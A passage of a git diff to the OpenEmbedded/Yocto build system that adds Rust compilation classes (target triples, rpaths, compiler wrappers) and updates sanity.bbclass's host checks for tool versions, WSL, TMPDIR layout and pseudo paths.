index e2ba4e3647..85c7ec7434 100644
--- a/meta/classes/rootfsdebugfiles.bbclass
+++ b/meta/classes/rootfsdebugfiles.bbclass
@@ -28,7 +28,7 @@
ROOTFS_DEBUG_FILES ?= ""
ROOTFS_DEBUG_FILES[doc] = "Lists additional files or directories to be installed with 'cp -a' in the format 'source1 target1;source2 target2;...'"
-ROOTFS_POSTPROCESS_COMMAND += "rootfs_debug_files ;"
+ROOTFS_POSTPROCESS_COMMAND += "rootfs_debug_files;"
rootfs_debug_files () {
#!/bin/sh -e
echo "${ROOTFS_DEBUG_FILES}" | sed -e 's/;/\n/g' | while read source target mode; do
diff --git a/meta/classes/rust-bin.bbclass b/meta/classes/rust-bin.bbclass
new file mode 100644
index 0000000000..c87343b3cf
--- /dev/null
+++ b/meta/classes/rust-bin.bbclass
@@ -0,0 +1,149 @@
+inherit rust
+
+RDEPENDS:${PN}:append:class-target = " ${RUSTLIB_DEP}"
+
+RUSTC_ARCHFLAGS += "-C opt-level=3 -g -L ${STAGING_DIR_HOST}/${rustlibdir} -C linker=${RUST_TARGET_CCLD}"
+EXTRA_OEMAKE += 'RUSTC_ARCHFLAGS="${RUSTC_ARCHFLAGS}"'
+
+# Some libraries alias with the standard library but libstd is configured to
+# make it difficult or imposisble to use its version. Unfortunately libstd
+# must be explicitly overridden using extern.
+OVERLAP_LIBS = "\
+ libc \
+ log \
+ getopts \
+ rand \
+"
+def get_overlap_deps(d):
+ deps = d.getVar("DEPENDS").split()
+ overlap_deps = []
+ for o in d.getVar("OVERLAP_LIBS").split():
+ l = len([o for dep in deps if (o + '-rs' in dep)])
+ if l > 0:
+ overlap_deps.append(o)
+ return " ".join(overlap_deps)
+OVERLAP_DEPS = "${@get_overlap_deps(d)}"
+
+# Prevents multiple static copies of standard library modules
+# See https://github.com/rust-lang/rust/issues/19680
+RUSTC_PREFER_DYNAMIC = "-C prefer-dynamic"
+RUSTC_FLAGS += "${RUSTC_PREFER_DYNAMIC}"
+
+CRATE_NAME ?= "${@d.getVar('BPN').replace('-rs', '').replace('-', '_')}"
+BINNAME ?= "${BPN}"
+LIBNAME ?= "lib${CRATE_NAME}-rs"
+CRATE_TYPE ?= "dylib"
+BIN_SRC ?= "${S}/src/main.rs"
+LIB_SRC ?= "${S}/src/lib.rs"
+
+rustbindest ?= "${bindir}"
+rustlibdest ?= "${rustlibdir}"
+RUST_RPATH_ABS ?= "${rustlibdir}:${rustlib}"
+
+def relative_rpaths(paths, base):
+ relpaths = set()
+ for p in paths.split(':'):
+ if p == base:
+ relpaths.add('$ORIGIN')
+ continue
+ relpaths.add(os.path.join('$ORIGIN', os.path.relpath(p, base)))
+ return '-rpath=' + ':'.join(relpaths) if len(relpaths) else ''
+
+RUST_LIB_RPATH_FLAGS ?= "${@relative_rpaths(d.getVar('RUST_RPATH_ABS', True), d.getVar('rustlibdest', True))}"
+RUST_BIN_RPATH_FLAGS ?= "${@relative_rpaths(d.getVar('RUST_RPATH_ABS', True), d.getVar('rustbindest', True))}"
+
+def libfilename(d):
+ if d.getVar('CRATE_TYPE', True) == 'dylib':
+ return d.getVar('LIBNAME', True) + '.so'
+ else:
+ return d.getVar('LIBNAME', True) + '.rlib'
+
+def link_args(d, bin):
+ linkargs = []
+ if bin:
+ rpaths = d.getVar('RUST_BIN_RPATH_FLAGS', False)
+ else:
+ rpaths = d.getVar('RUST_LIB_RPATH_FLAGS', False)
+ if d.getVar('CRATE_TYPE', True) == 'dylib':
+ linkargs.append('-soname')
+ linkargs.append(libfilename(d))
+ if len(rpaths):
+ linkargs.append(rpaths)
+ if len(linkargs):
+ return ' '.join(['-Wl,' + arg for arg in linkargs])
+ else:
+ return ''
+
+get_overlap_externs () {
+ externs=
+ for dep in ${OVERLAP_DEPS}; do
+ extern=$(ls ${STAGING_DIR_HOST}/${rustlibdir}/lib$dep-rs.{so,rlib} 2>/dev/null \
+ | awk '{print $1}');
+ if [ -n "$extern" ]; then
+ externs="$externs --extern $dep=$extern"
+ else
+ echo "$dep in depends but no such library found in ${rustlibdir}!" >&2
+ exit 1
+ fi
+ done
+ echo "$externs"
+}
+
+do_configure () {
+}
+
+oe_runrustc () {
+ export RUST_TARGET_PATH="${RUST_TARGET_PATH}"
+ bbnote ${RUSTC} ${RUSTC_ARCHFLAGS} ${RUSTC_FLAGS} "$@"
+ "${RUSTC}" ${RUSTC_ARCHFLAGS} ${RUSTC_FLAGS} "$@"
+}
+
+oe_compile_rust_lib () {
+ rm -rf ${LIBNAME}.{rlib,so}
+ local -a link_args
+ if [ -n '${@link_args(d, False)}' ]; then
+ link_args[0]='-C'
+ link_args[1]='link-args=${@link_args(d, False)}'
+ fi
+ oe_runrustc $(get_overlap_externs) \
+ "${link_args[@]}" \
+ ${LIB_SRC} \
+ -o ${@libfilename(d)} \
+ --crate-name=${CRATE_NAME} --crate-type=${CRATE_TYPE} \
+ "$@"
+}
+oe_compile_rust_lib[vardeps] += "get_overlap_externs"
+
+oe_compile_rust_bin () {
+ rm -rf ${BINNAME}
+ local -a link_args
+ if [ -n '${@link_args(d, True)}' ]; then
+ link_args[0]='-C'
+ link_args[1]='link-args=${@link_args(d, True)}'
+ fi
+ oe_runrustc $(get_overlap_externs) \
+ "${link_args[@]}" \
+ ${BIN_SRC} -o ${BINNAME} "$@"
+}
+oe_compile_rust_bin[vardeps] += "get_overlap_externs"
+
+oe_install_rust_lib () {
+ for lib in $(ls ${LIBNAME}.{so,rlib} 2>/dev/null); do
+ echo Installing $lib
+ install -D -m 755 $lib ${D}/${rustlibdest}/$lib
+ done
+}
+
+oe_install_rust_bin () {
+ echo Installing ${BINNAME}
+ install -D -m 755 ${BINNAME} ${D}/${rustbindest}/${BINNAME}
+}
+
+do_rust_bin_fixups() {
+ for f in `find ${PKGD} -name '*.so*'`; do
+ echo "Strip rust note: $f"
+ ${OBJCOPY} -R .note.rustc $f $f
+ done
+}
+PACKAGE_PREPROCESS_FUNCS += "do_rust_bin_fixups"
+
diff --git a/meta/classes/rust-common.bbclass b/meta/classes/rust-common.bbclass
new file mode 100644
index 0000000000..65ad677499
--- /dev/null
+++ b/meta/classes/rust-common.bbclass
@@ -0,0 +1,185 @@
+inherit python3native
+
+# Common variables used by all Rust builds
+export rustlibdir = "${libdir}/rust"
+FILES:${PN} += "${rustlibdir}/*.so"
+FILES:${PN}-dev += "${rustlibdir}/*.rlib ${rustlibdir}/*.rmeta"
+FILES:${PN}-dbg += "${rustlibdir}/.debug"
+
+RUSTLIB = "-L ${STAGING_LIBDIR}/rust"
+RUST_DEBUG_REMAP = "--remap-path-prefix=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
+RUSTFLAGS += "${RUSTLIB} ${RUST_DEBUG_REMAP}"
+RUSTLIB_DEP ?= "libstd-rs"
+export RUST_TARGET_PATH = "${STAGING_LIBDIR_NATIVE}/rustlib"
+RUST_PANIC_STRATEGY ?= "unwind"
+
+# Native builds are not effected by TCLIBC. Without this, rust-native
+# thinks it's "target" (i.e. x86_64-linux) is a musl target.
+RUST_LIBC = "${TCLIBC}"
+RUST_LIBC:class-native = "glibc"
+
+def determine_libc(d, thing):
+ '''Determine which libc something should target'''
+
+ # BUILD is never musl, TARGET may be musl or glibc,
+ # HOST could be musl, but only if a compiler is built to be run on
+ # target in which case HOST_SYS != BUILD_SYS.
+ if thing == 'TARGET':
+ libc = d.getVar('RUST_LIBC')
+ elif thing == 'BUILD' and (d.getVar('HOST_SYS') != d.getVar('BUILD_SYS')):
+ libc = d.getVar('RUST_LIBC')
+ else:
+ libc = d.getVar('RUST_LIBC:class-native')
+
+ return libc
+
+def target_is_armv7(d):
+ '''Determine if target is armv7'''
+ # TUNE_FEATURES may include arm* even if the target is not arm
+ # in the case of *-native packages
+ if d.getVar('TARGET_ARCH') != 'arm':
+ return False
+
+ feat = d.getVar('TUNE_FEATURES')
+ feat = frozenset(feat.split())
+ mach_overrides = d.getVar('MACHINEOVERRIDES')
+ mach_overrides = frozenset(mach_overrides.split(':'))
+
+ v7=frozenset(['armv7a', 'armv7r', 'armv7m', 'armv7ve'])
+ if mach_overrides.isdisjoint(v7) and feat.isdisjoint(v7):
+ return False
+ else:
+ return True
+target_is_armv7[vardepvalue] = "${@target_is_armv7(d)}"
+
+# Responsible for taking Yocto triples and converting it to Rust triples
+def rust_base_triple(d, thing):
+ '''
+ Mangle bitbake's *_SYS into something that rust might support (see
+ rust/mk/cfg/* for a list)
+
+ Note that os is assumed to be some linux form
+ '''
+
+ # The llvm-target for armv7 is armv7-unknown-linux-gnueabihf
+ if thing == "TARGET" and target_is_armv7(d):
+ arch = "armv7"
+ else:
+ arch = oe.rust.arch_to_rust_arch(d.getVar('{}_ARCH'.format(thing)))
+
+ # All the Yocto targets are Linux and are 'unknown'
+ vendor = "-unknown"
+ os = d.getVar('{}_OS'.format(thing))
+ libc = determine_libc(d, thing)
+
+ # Prefix with a dash and convert glibc -> gnu
+ if libc == "glibc":
+ libc = "-gnu"
+ elif libc == "musl":
+ libc = "-musl"
+
+ # Don't double up musl (only appears to be the case on aarch64)
+ if os == "linux-musl":
+ if libc != "-musl":
+ bb.fatal("{}_OS was '{}' but TCLIBC was not 'musl'".format(thing, os))
+ os = "linux"
+
+ # This catches ARM targets and appends the necessary hard float bits
+ if os == "linux-gnueabi" or os == "linux-musleabi":
+ libc = bb.utils.contains('TUNE_FEATURES', 'callconvention-hard', 'hf', '', d)
+ return arch + vendor + '-' + os + libc
+
+
+# In some cases uname and the toolchain differ on their idea of the arch name
+RUST_BUILD_ARCH = "${@oe.rust.arch_to_rust_arch(d.getVar('BUILD_ARCH'))}"
+
+# Naming explanation
+# Yocto
+# - BUILD_SYS - Yocto triple of the build environment
+# - HOST_SYS - What we're building for in Yocto
+# - TARGET_SYS - What we're building for in Yocto
+#
+# So when building '-native' packages BUILD_SYS == HOST_SYS == TARGET_SYS
+# When building packages for the image HOST_SYS == TARGET_SYS
+# This is a gross over simplification as there are other modes but
+# currently this is all that's supported.
+#
+# Rust
+# - TARGET - the system where the binary will run
+# - HOST - the system where the binary is being built
+#
+# Rust additionally will use two additional cases:
+# - undecorated (e.g. CC) - equivalent to TARGET
+# - triple suffix (e.g. CC:x86_64_unknown_linux_gnu) - both
+# see: https://github.com/alexcrichton/gcc-rs
+# The way that Rust's internal triples and Yocto triples are mapped together
+# its likely best to not use the triple suffix due to potential confusion.
+
+RUST_BUILD_SYS = "${@rust_base_triple(d, 'BUILD')}"
+RUST_HOST_SYS = "${@rust_base_triple(d, 'HOST')}"
+RUST_TARGET_SYS = "${@rust_base_triple(d, 'TARGET')}"
+
+# wrappers to get around the fact that Rust needs a single
+# binary but Yocto's compiler and linker commands have
+# arguments. Technically the archiver is always one command but
+# this is necessary for builds that determine the prefix and then
+# use those commands based on the prefix.
+WRAPPER_DIR = "${WORKDIR}/wrapper"
+RUST_BUILD_CC = "${WRAPPER_DIR}/build-rust-cc"
+RUST_BUILD_CXX = "${WRAPPER_DIR}/build-rust-cxx"
+RUST_BUILD_CCLD = "${WRAPPER_DIR}/build-rust-ccld"
+RUST_BUILD_AR = "${WRAPPER_DIR}/build-rust-ar"
+RUST_TARGET_CC = "${WRAPPER_DIR}/target-rust-cc"
+RUST_TARGET_CXX = "${WRAPPER_DIR}/target-rust-cxx"
+RUST_TARGET_CCLD = "${WRAPPER_DIR}/target-rust-ccld"
+RUST_TARGET_AR = "${WRAPPER_DIR}/target-rust-ar"
+
+create_wrapper () {
+ file="$1"
+ shift
+
+ cat <<- EOF > "${file}"
+ #!/usr/bin/env python3
+ import os, sys
+ orig_binary = "$@"
+ binary = orig_binary.split()[0]
+ args = orig_binary.split() + sys.argv[1:]
+ os.execvp(binary, args)
+ EOF
+ chmod +x "${file}"
+}
+
+export WRAPPER_TARGET_CC = "${CC}"
+export WRAPPER_TARGET_CXX = "${CXX}"
+export WRAPPER_TARGET_CCLD = "${CCLD}"
+export WRAPPER_TARGET_LDFLAGS = "${LDFLAGS}"
+export WRAPPER_TARGET_AR = "${AR}"
+
+# compiler is used by gcc-rs
+# linker is used by rustc/cargo
+# archiver is used by the build of libstd-rs
+do_rust_create_wrappers () {
+ mkdir -p "${WRAPPER_DIR}"
+
+ # Yocto Build / Rust Host C compiler
+ create_wrapper "${RUST_BUILD_CC}" "${BUILD_CC}"
+ # Yocto Build / Rust Host C++ compiler
+ create_wrapper "${RUST_BUILD_CXX}" "${BUILD_CXX}"
+ # Yocto Build / Rust Host linker
+ create_wrapper "${RUST_BUILD_CCLD}" "${BUILD_CCLD}" "${BUILD_LDFLAGS}"
+ # Yocto Build / Rust Host archiver
+ create_wrapper "${RUST_BUILD_AR}" "${BUILD_AR}"
+
+ # Yocto Target / Rust Target C compiler
+ create_wrapper "${RUST_TARGET_CC}" "${WRAPPER_TARGET_CC}" "${WRAPPER_TARGET_LDFLAGS}"
+ # Yocto Target / Rust Target C++ compiler
+ create_wrapper "${RUST_TARGET_CXX}" "${WRAPPER_TARGET_CXX}"
+ # Yocto Target / Rust Target linker
+ create_wrapper "${RUST_TARGET_CCLD}" "${WRAPPER_TARGET_CCLD}" "${WRAPPER_TARGET_LDFLAGS}"
+ # Yocto Target / Rust Target archiver
+ create_wrapper "${RUST_TARGET_AR}" "${WRAPPER_TARGET_AR}"
+
+}
+
+addtask rust_create_wrappers before do_configure after do_patch do_prepare_recipe_sysroot
+do_rust_create_wrappers[dirs] += "${WRAPPER_DIR}"
diff --git a/meta/classes/rust.bbclass b/meta/classes/rust.bbclass
new file mode 100644
index 0000000000..5c8938d09f
--- /dev/null
+++ b/meta/classes/rust.bbclass
@@ -0,0 +1,45 @@
+inherit rust-common
+
+RUSTC = "rustc"
+
+RUSTC_ARCHFLAGS += "--target=${HOST_SYS} ${RUSTFLAGS}"
+
+def rust_base_dep(d):
+ # Taken from meta/classes/base.bbclass `base_dep_prepend` and modified to
+ # use rust instead of gcc
+ deps = ""
+ if not d.getVar('INHIBIT_DEFAULT_RUST_DEPS'):
+ if (d.getVar('HOST_SYS') != d.getVar('BUILD_SYS')):
+ deps += " virtual/${TARGET_PREFIX}rust ${RUSTLIB_DEP}"
+ else:
+ deps += " rust-native"
+ return deps
+
+DEPENDS:append = " ${@rust_base_dep(d)}"
+
+# BUILD_LDFLAGS
+# ${STAGING_LIBDIR_NATIVE}
+# ${STAGING_BASE_LIBDIR_NATIVE}
+# BUILDSDK_LDFLAGS
+# ${STAGING_LIBDIR}
+# #{STAGING_DIR_HOST}
+# TARGET_LDFLAGS ?????
+#RUSTC_BUILD_LDFLAGS = "\
+# --sysroot ${STAGING_DIR_NATIVE} \
+# -L${STAGING_LIBDIR_NATIVE} \
+# -L${STAGING_BASE_LIBDIR_NATIVE} \
+#"
+
+# XXX: for some reason bitbake sets BUILD_* & TARGET_* but uses the bare
+# variables for HOST. Alias things to make it easier for us.
+HOST_LDFLAGS ?= "${LDFLAGS}"
+HOST_CFLAGS ?= "${CFLAGS}"
+HOST_CXXFLAGS ?= "${CXXFLAGS}"
+HOST_CPPFLAGS ?= "${CPPFLAGS}"
+
+rustlib_suffix="${TUNE_ARCH}${TARGET_VENDOR}-${TARGET_OS}/rustlib/${HOST_SYS}/lib"
+# Native sysroot standard library path
+rustlib_src="${prefix}/lib/${rustlib_suffix}"
+# Host sysroot standard library path
+rustlib="${libdir}/${rustlib_suffix}"
+rustlib:class-native="${libdir}/rustlib/${BUILD_SYS}/lib"
diff --git a/meta/classes/sanity.bbclass b/meta/classes/sanity.bbclass
index a14bf53883..92807dc88e 100644
--- a/meta/classes/sanity.bbclass
+++ b/meta/classes/sanity.bbclass
@@ -2,7 +2,7 @@
# Sanity check the users setup for common misconfigurations
#
-SANITY_REQUIRED_UTILITIES ?= "patch diffstat makeinfo git bzip2 tar \
+SANITY_REQUIRED_UTILITIES ?= "patch diffstat git bzip2 tar \
gzip gawk chrpath wget cpio perl file which"
def bblayers_conf_file(d):
@@ -185,37 +185,6 @@ def raise_sanity_error(msg, d, network_error=False):
%s""" % msg)
-# Check flags associated with a tuning.
-def check_toolchain_tune_args(data, tune, multilib, errs):
- found_errors = False
- if check_toolchain_args_present(data, tune, multilib, errs, 'CCARGS'):
- found_errors = True
- if check_toolchain_args_present(data, tune, multilib, errs, 'ASARGS'):
- found_errors = True
- if check_toolchain_args_present(data, tune, multilib, errs, 'LDARGS'):
- found_errors = True
-
- return found_errors
-
-def check_toolchain_args_present(data, tune, multilib, tune_errors, which):
- args_set = (data.getVar("TUNE_%s" % which) or "").split()
- args_wanted = (data.getVar("TUNEABI_REQUIRED_%s_tune-%s" % (which, tune)) or "").split()
- args_missing = []
-
- # If no args are listed/required, we are done.
- if not args_wanted:
- return
- for arg in args_wanted:
- if arg not in args_set:
- args_missing.append(arg)
-
- found_errors = False
- if args_missing:
- found_errors = True
- tune_errors.append("TUNEABI for %s requires '%s' in TUNE_%s (%s)." %
- (tune, ' '.join(args_missing), which, ' '.join(args_set)))
- return found_errors
-
# Check a single tune for validity.
def check_toolchain_tune(data, tune, multilib):
tune_errors = []
@@ -227,7 +196,7 @@ def check_toolchain_tune(data, tune, multilib):
overrides = localdata.getVar("OVERRIDES", False) + ":virtclass-multilib-" + multilib
localdata.setVar("OVERRIDES", overrides)
bb.debug(2, "Sanity-checking tuning '%s' (%s) features:" % (tune, multilib))
- features = (localdata.getVar("TUNE_FEATURES_tune-%s" % tune) or "").split()
+ features = (localdata.getVar("TUNE_FEATURES:tune-%s" % tune) or "").split()
if not features:
return "Tuning '%s' has no defined features, and cannot be used." % tune
valid_tunes = localdata.getVarFlags('TUNEVALID') or {}
@@ -247,17 +216,6 @@ def check_toolchain_tune(data, tune, multilib):
bb.debug(2, " %s: %s" % (feature, valid_tunes[feature]))
else:
tune_errors.append("Feature '%s' is not defined." % feature)
- whitelist = localdata.getVar("TUNEABI_WHITELIST")
- if whitelist:
- tuneabi = localdata.getVar("TUNEABI_tune-%s" % tune)
- if not tuneabi:
- tuneabi = tune
- if True not in [x in whitelist.split() for x in tuneabi.split()]:
- tune_errors.append("Tuning '%s' (%s) cannot be used with any supported tuning/ABI." %
- (tune, tuneabi))
- else:
- if not check_toolchain_tune_args(localdata, tuneabi, multilib, tune_errors):
- bb.debug(2, "Sanity check: Compiler args OK for %s." % tune)
if tune_errors:
return "Tuning '%s' has the following errors:\n" % tune + '\n'.join(tune_errors)
@@ -281,7 +239,7 @@ def check_toolchain(data):
seen_libs.append(lib)
if not lib in global_multilibs:
tune_error_set.append("Multilib %s is not present in MULTILIB_GLOBAL_VARIANTS" % lib)
- tune = data.getVar("DEFAULTTUNE_virtclass-multilib-%s" % lib)
+ tune = data.getVar("DEFAULTTUNE:virtclass-multilib-%s" % lib)
if tune in seen_tunes:
tune_error_set.append("The tuning '%s' appears in more than one multilib." % tune)
else:
@@ -392,9 +350,12 @@ def check_connectivity(d):
msg = data.getVar('CONNECTIVITY_CHECK_MSG') or ""
if len(msg) == 0:
msg = "%s.\n" % err
- msg += " Please ensure your host's network is configured correctly,\n"
- msg += " or set BB_NO_NETWORK = \"1\" to disable network access if\n"
- msg += " all required sources are on local disk.\n"
+ msg += " Please ensure your host's network is configured correctly.\n"
+ msg += " If your ISP or network is blocking the above URL,\n"
+ msg += " try with another domain name, for example by setting:\n"
+ msg += " CONNECTIVITY_CHECK_URIS = \"https://www.example.com/\""
+ msg += " You could also set BB_NO_NETWORK = \"1\" to disable network\n"
+ msg += " access if all required sources are on local disk.\n"
retval = msg
return retval
@@ -459,13 +420,12 @@ def check_sanity_validmachine(sanity_data):
# Patch before 2.7 can't handle all the features in git-style diffs. Some
# patches may incorrectly apply, and others won't apply at all.
def check_patch_version(sanity_data):
- from distutils.version import LooseVersion
import re, subprocess
try:
result = subprocess.check_output(["patch", "--version"], stderr=subprocess.STDOUT).decode('utf-8')
version = re.search(r"[0-9.]+", result.splitlines()[0]).group()
- if LooseVersion(version) < LooseVersion("2.7"):
+ if bb.utils.vercmp_string_op(version, "2.7", "<"):
return "Your version of patch is older than 2.7 and has bugs which will break builds. Please install a newer version of patch.\n"
else:
return None
@@ -475,7 +435,6 @@ def check_patch_version(sanity_data):
# Unpatched versions of make 3.82 are known to be broken. See GNU Savannah Bug 30612.
# Use a modified reproducer from http://savannah.gnu.org/bugs/?30612 to validate.
def check_make_version(sanity_data):
- from distutils.version import LooseVersion
import subprocess
try:
@@ -483,7 +442,7 @@ def check_make_version(sanity_data):
except subprocess.CalledProcessError as e:
return "Unable to execute make --version, exit code %d\n%s\n" % (e.returncode, e.output)
version = result.split()[2]
- if LooseVersion(version) == LooseVersion("3.82"):
+ if bb.utils.vercmp_string_op(version, "3.82", "=="):
# Construct a test file
f = open("makefile_test", "w")
f.write("makefile_test.a: makefile_test_a.c makefile_test_b.c makefile_test.a( makefile_test_a.c makefile_test_b.c)\n")
@@ -511,42 +470,64 @@ def check_make_version(sanity_data):
return None
-# Check if we're running on WSL (Windows Subsystem for Linux). Its known not to
-# work but we should tell the user that upfront.
+# Check if we're running on WSL (Windows Subsystem for Linux).
+# WSLv1 is known not to work but WSLv2 should work properly as
+# long as the VHDX file is optimized often, let the user know
+# upfront.
+# More information on installing WSLv2 at:
+# https://docs.microsoft.com/en-us/windows/wsl/wsl2-install
def check_wsl(d):
with open("/proc/version", "r") as f:
verdata = f.readlines()
for l in verdata:
if "Microsoft" in l:
- return "OpenEmbedded doesn't work under WSL at this time, sorry"
+ return "OpenEmbedded doesn't work under WSLv1, please upgrade to WSLv2 if you want to run builds on Windows"
+ elif "microsoft" in l:
+ bb.warn("You are running bitbake under WSLv2, this works properly but you should optimize your VHDX file eventually to avoid running out of storage space")
+ return None
+
+# Require at least gcc version 7.5.
+#
+# This can be fixed on CentOS-7 with devtoolset-6+
+# https://www.softwarecollections.org/en/scls/rhscl/devtoolset-6/
+#
+# A less invasive fix is with scripts/install-buildtools (or with user
+# built buildtools-extended-tarball)
+#
+def check_gcc_version(sanity_data):
+ import subprocess
+
+ build_cc, version = oe.utils.get_host_compiler_version(sanity_data)
+ if build_cc.strip() == "gcc":
+ if bb.utils.vercmp_string_op(version, "7.5", "<"):
+ return "Your version of gcc is older than 7.5 and will break builds. Please install a newer version of gcc (you could use the project's buildtools-extended-tarball or use scripts/install-buildtools).\n"
return None
# Tar version 1.24 and onwards handle overwriting symlinks correctly
# but earlier versions do not; this needs to work properly for sstate
+# Version 1.28 is needed so opkg-build works correctly when reproducibile builds are enabled
def check_tar_version(sanity_data):
- from distutils.version import LooseVersion
import subprocess
try:
result = subprocess.check_output(["tar", "--version"], stderr=subprocess.STDOUT).decode('utf-8')
except subprocess.CalledProcessError as e:
return "Unable to execute tar --version, exit code %d\n%s\n" % (e.returncode, e.output)
version = result.split()[3]
- if LooseVersion(version) < LooseVersion("1.24"):
- return "Your version of tar is older than 1.24 and has bugs which will break builds. Please install a newer version of tar.\n"
+ if bb.utils.vercmp_string_op(version, "1.28", "<"):
+ return "Your version of tar is older than 1.28 and does not have the support needed to enable reproducible builds. Please install a newer version of tar (you could use the project's buildtools-tarball from our last release or use scripts/install-buildtools).\n"
return None
# We use git parameters and functionality only found in 1.7.8 or later
# The kernel tools assume git >= 1.8.3.1 (verified needed > 1.7.9.5) see #6162
# The git fetcher also had workarounds for git < 1.7.9.2 which we've dropped
def check_git_version(sanity_data):
- from distutils.version import LooseVersion
import subprocess
try:
result = subprocess.check_output(["git", "--version"], stderr=subprocess.DEVNULL).decode('utf-8')
except subprocess.CalledProcessError as e:
return "Unable to execute git --version, exit code %d\n%s\n" % (e.returncode, e.output)
version = result.split()[2]
- if LooseVersion(version) < LooseVersion("1.8.3.1"):
+ if bb.utils.vercmp_string_op(version, "1.8.3.1", "<"):
return "Your version of git is older than 1.8.3.1 and has bugs which will break builds. Please install a newer version of git.\n"
return None
@@ -578,6 +559,24 @@ def sanity_check_conffiles(d):
bb.fatal(str(e))
d.setVar("BB_INVALIDCONF", True)
+def drop_v14_cross_builds(d):
+ import glob
+ indexes = glob.glob(d.expand("${SSTATE_MANIFESTS}/index-${BUILD_ARCH}_*"))
+ for i in indexes:
+ with open(i, "r") as f:
+ lines = f.readlines()
+ for l in reversed(lines):
+ try:
+ (stamp, manifest, workdir) = l.split()
+ except ValueError:
+ bb.fatal("Invalid line '%s' in sstate manifest '%s'" % (l, i))
+ for m in glob.glob(manifest + ".*"):
+ if m.endswith(".postrm"):
+ continue
+ sstate_clean_manifest(m, d)
+ bb.utils.remove(stamp + "*")
+ bb.utils.remove(workdir, recurse = True)
+
def sanity_handle_abichanges(status, d):
#
# Check the 'ABI' of TMPDIR
@@ -594,6 +593,12 @@ def sanity_handle_abichanges(status, d):
f.write(current_abi)
elif int(abi) <= 11 and current_abi == "12":
status.addresult("The layout of TMPDIR changed for Recipe Specific Sysroots.\nConversion doesn't make sense and this change will rebuild everything so please delete TMPDIR (%s).\n" % d.getVar("TMPDIR"))
+ elif int(abi) <= 13 and current_abi == "14":
+ status.addresult("TMPDIR changed to include path filtering from the pseudo database.\nIt is recommended to use a clean TMPDIR with the new pseudo path filtering so TMPDIR (%s) would need to be removed to continue.\n" % d.getVar("TMPDIR"))
+ elif int(abi) == 14 and current_abi == "15":
+ drop_v14_cross_builds(d)
+ with open(abifile, "w") as f:
+ f.write(current_abi)
elif (abi != current_abi):
# Code to convert from one ABI to another could go here if possible.
status.addresult("Error, TMPDIR has changed its layout version number (%s to %s) and you need to either rebuild, revert or adjust it at your own risk.\n" % (abi, current_abi))
@@ -631,6 +636,7 @@ def check_sanity_version_change(status, d):
except ImportError as e:
status.addresult('Your Python 3 is not a full install. Please install the module %s (see the Getting Started guide for further information).\n' % e.name)
+ status.addresult(check_gcc_version(d))
status.addresult(check_make_version(d))
status.addresult(check_patch_version(d))
status.addresult(check_tar_version(d))
@@ -674,6 +680,23 @@ def check_sanity_version_change(status, d):
if (tmpdirmode & stat.S_ISUID):
status.addresult("TMPDIR is setuid, please don't build in a setuid directory")
+ # Check that a user isn't building in a path in PSEUDO_IGNORE_PATHS
+ pseudoignorepaths = d.getVar('PSEUDO_IGNORE_PATHS', expand=True).split(",")
+ workdir = d.getVar('WORKDIR', expand=True)
+ for i in pseudoignorepaths:
+ if i and workdir.startswith(i):
+ status.addresult("You are building in a path included in PSEUDO_IGNORE_PATHS " + str(i) + " please locate the build outside this path.\n")
+
+ # Check if PSEUDO_IGNORE_PATHS and and paths under pseudo control overlap
+ pseudoignorepaths = d.getVar('PSEUDO_IGNORE_PATHS', expand=True).split(",")
+ pseudo_control_dir = "${D},${PKGD},${PKGDEST},${IMAGEROOTFS},${SDK_OUTPUT}"
+ pseudocontroldir = d.expand(pseudo_control_dir).split(",")
+ for i in pseudoignorepaths:
+ for j in pseudocontroldir:
+ if i and j:
+ if j.startswith(i):
+ status.addresult("A path included in PSEUDO_IGNORE_PATHS " + str(i) + " and the path " + str(j) + " overlap and this will break pseudo permission and ownership tracking. Please set the path " + str(j) + " to a different directory which does not overlap with pseudo controlled directories. \n")
+
# Some third-party software apparently relies on chmod etc. being suid root (!!)
import stat
suid_check_bins = "chown chmod mknod".split()
@@ -741,15 +764,14 @@ def check_sanity_everybuild(status, d):
if 0 == os.getuid():
raise_sanity_error("Do not use Bitbake as root.", d)
- # Check the Python version, we now have a minimum of Python 3.4
+ # Check the Python version, we now have a minimum of Python 3.6
import sys
- if sys.hexversion < 0x03040000:
- status.addresult('The system requires at least Python 3.4 to run. Please update your Python interpreter.\n')
+ if sys.hexversion < 0x030600F0:
+ status.addresult('The system requires at least Python 3.6 to run. Please update your Python interpreter.\n')
# Check the bitbake version meets minimum requirements
- from distutils.version import LooseVersion
minversion = d.getVar('BB_MIN_VERSION')
- if (LooseVersion(bb.__version__) < LooseVersion(minversion)):
+ if bb.utils.vercmp_string_op(bb.__version__, minversion, "<"):
status.addresult('Bitbake version %s is required and version %s was found\n' % (minversion, bb.__version__))
sanity_check_locale(d)
@@ -758,6 +780,17 @@ def check_sanity_everybuild(status, d):
if "." in paths or "./" in paths or "" in paths:
status.addresult("PATH contains '.', './' or '' (empty element), which will break the build, please remove this.\nParsed PATH is " + str(paths) + "\n")
+ #Check if bitbake is present in PATH environment variable
+ bb_check = bb.utils.which(d.getVar('PATH'), 'bitbake')
+ if not bb_check:
+ bb.warn("bitbake binary is not found in PATH, did you source the script?")
+
+ # Check whether 'inherit' directive is found (used for a class to inherit)
+ # in conf file it's supposed to be uppercase INHERIT
+ inherit = d.getVar('inherit')
+ if inherit:
+ status.addresult("Please don't use inherit directive in your local.conf. The directive is supposed to be used in classes and recipes only to inherit of bbclasses. Here INHERIT should be used.\n")
+
# Check that the DISTRO is valid, if set
# need to take into account DISTRO renaming DISTRO
distro = d.getVar('DISTRO')
@@ -803,7 +836,7 @@ def check_sanity_everybuild(status, d):
# If SDK_VENDOR looks like "-my-sdk" then the triples are badly formed so fail early
sdkvendor = d.getVar("SDK_VENDOR")
if not (sdkvendor.startswith("-") and sdkvendor.count("-") == 1):
- status.addresult("SDK_VENDOR should be of the form '-foosdk' with a single dash\n")
+ status.addresult("SDK_VENDOR should be of the form '-foosdk' with a single dash; found '%s'\n" % sdkvendor)
check_supported_distro(d)
@@ -825,20 +858,25 @@ def check_sanity_everybuild(status, d):
except:
pass
- oeroot = d.getVar('COREBASE')
- if oeroot.find('+') != -1:
- status.addresult("Error, you have an invalid character (+) in your COREBASE directory path. Please move the installation to a directory which doesn't include any + characters.")
- if oeroot.find('@') != -1:
- status.addresult("Error, you have an invalid character (@) in your COREBASE directory path. Please move the installation to a directory which doesn't include any @ characters.")
- if oeroot.find(' ') != -1:
- status.addresult("Error, you have a space in your COREBASE directory path. Please move the installation to a directory which doesn't include a space since autotools doesn't support this.")
